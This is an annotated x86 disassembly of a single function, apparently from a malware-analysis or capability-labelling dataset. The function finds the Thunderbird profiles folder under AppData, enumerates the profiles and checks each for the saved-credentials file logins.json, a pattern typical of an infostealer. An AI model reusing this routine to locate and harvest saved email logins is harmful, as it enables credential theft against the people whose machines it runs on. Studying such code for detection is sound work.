Function at 0x10090850
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
mov eax, dword [0x10102008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
mov dword [ebp - 0x194], ecx
call fcn.100c5213
mov esi, eax
add esp, 4
test esi, esi
je 0x10090cc4
push esi
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0
push 0x100f3188
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
call fcn.100b3d90
mov ecx, esi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100908d0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.100b3d90
mov ecx, dword [ebp - 0xc]
mov edi, 0x7fffffff
mov eax, edi
sub eax, ecx
cmp eax, 0x16
jb 0x10090cd5
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x16
cmovae eax, dword [ebp - 0x1c]
push str.ThunderbirdProfiles_
push ecx
push eax
push ecx
push dword [ebp - 0x194]
lea ecx, [ebp - 0x4c]
call fcn.100b6510
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100b36c0
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x1009095b
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090951
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cdf
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, edi
sub eax, ecx
cmp eax, 2
jb 0x10090cd5
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 2
cmovae eax, dword [ebp - 0x1c]
push 0x100fc8f8
push ecx
push eax
push ecx
push dword [ebp - 0x194]
lea ecx, [ebp - 0x1c8]
call fcn.100b6510
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x1c8]
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edx, dword [ebp - 0x1b4]
mov dword [ebp - 0x198], eax
cmp edx, 0x10
jb 0x100909f3
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100909e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cda
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
nop dword [eax]
nop dword [eax + eax]
test byte [ebp - 0x190], 0x10
je 0x10090c0d
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10090a50
sub ecx, edx
lea eax, [ebp - 0x164]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.100b3d90
lea ecx, [ebp - 0x164]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10090a72
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0xc]
sub eax, edx
cmp eax, ecx
jb 0x10090cd5
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push ecx
cmovae eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x164]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x194]
lea ecx, [ebp - 0x1e0]
call fcn.100b6510
push str.logins.json
lea ecx, [ebp - 0x1e0]
call fcn.100b3600
push 0x100fc708
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1b0]
cmp dword [ebp - 0x19c], 0x10
cmovae eax, dword [ebp - 0x1b0]
push eax
call fcn.100c88ed
add esp, 8
test eax, eax
je 0x10090b1c
push eax
call fcn.100c897b
add esp, 4
mov bl, 1
jmp 0x10090b1e
xor bl, bl
mov edx, dword [ebp - 0x19c]
cmp edx, 0x10
jb 0x10090b58
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090b4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cda
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1cc]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp edx, 0x10
jb 0x10090bad
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090ba3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cda
push edx
push ecx
call fcn.100bfa23
add esp, 8
test bl, bl
je 0x10090bd9
lea eax, [ebp - 0x164]
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10090bc0
sub eax, edx
lea ecx, [ebp - 0x34]
push eax
lea eax, [ebp - 0x164]
push eax
call fcn.100b3d90
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x10090c0d
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090c03
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cdf
push edx
push ecx
call fcn.100bfa23
add esp, 8
lea eax, [ebp - 0x190]
push eax
push dword [ebp - 0x198]
call esi
test eax, eax
jne 0x10090a20
mov edx, dword [ebp - 0xc]
sub edi, edx
mov esi, dword [ebp - 0x24]
cmp edi, esi
jb 0x10090cd5
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
push esi
cmovae ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
mov esi, dword [ebp - 0x194]
cmovae eax, dword [ebp - 0x34]
push eax
push edx
push ecx
push ecx
push dword [ebp - 0x194]
mov ecx, esi
call fcn.100b6510
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x10090c92
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090c88
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cdf
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x10090cc2
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090cb8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090cdf
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bf4c9
mov esp, ebp
pop ebp
ret
call fcn.100833c0
call fcn.100cc12d
call fcn.100cc12d
int3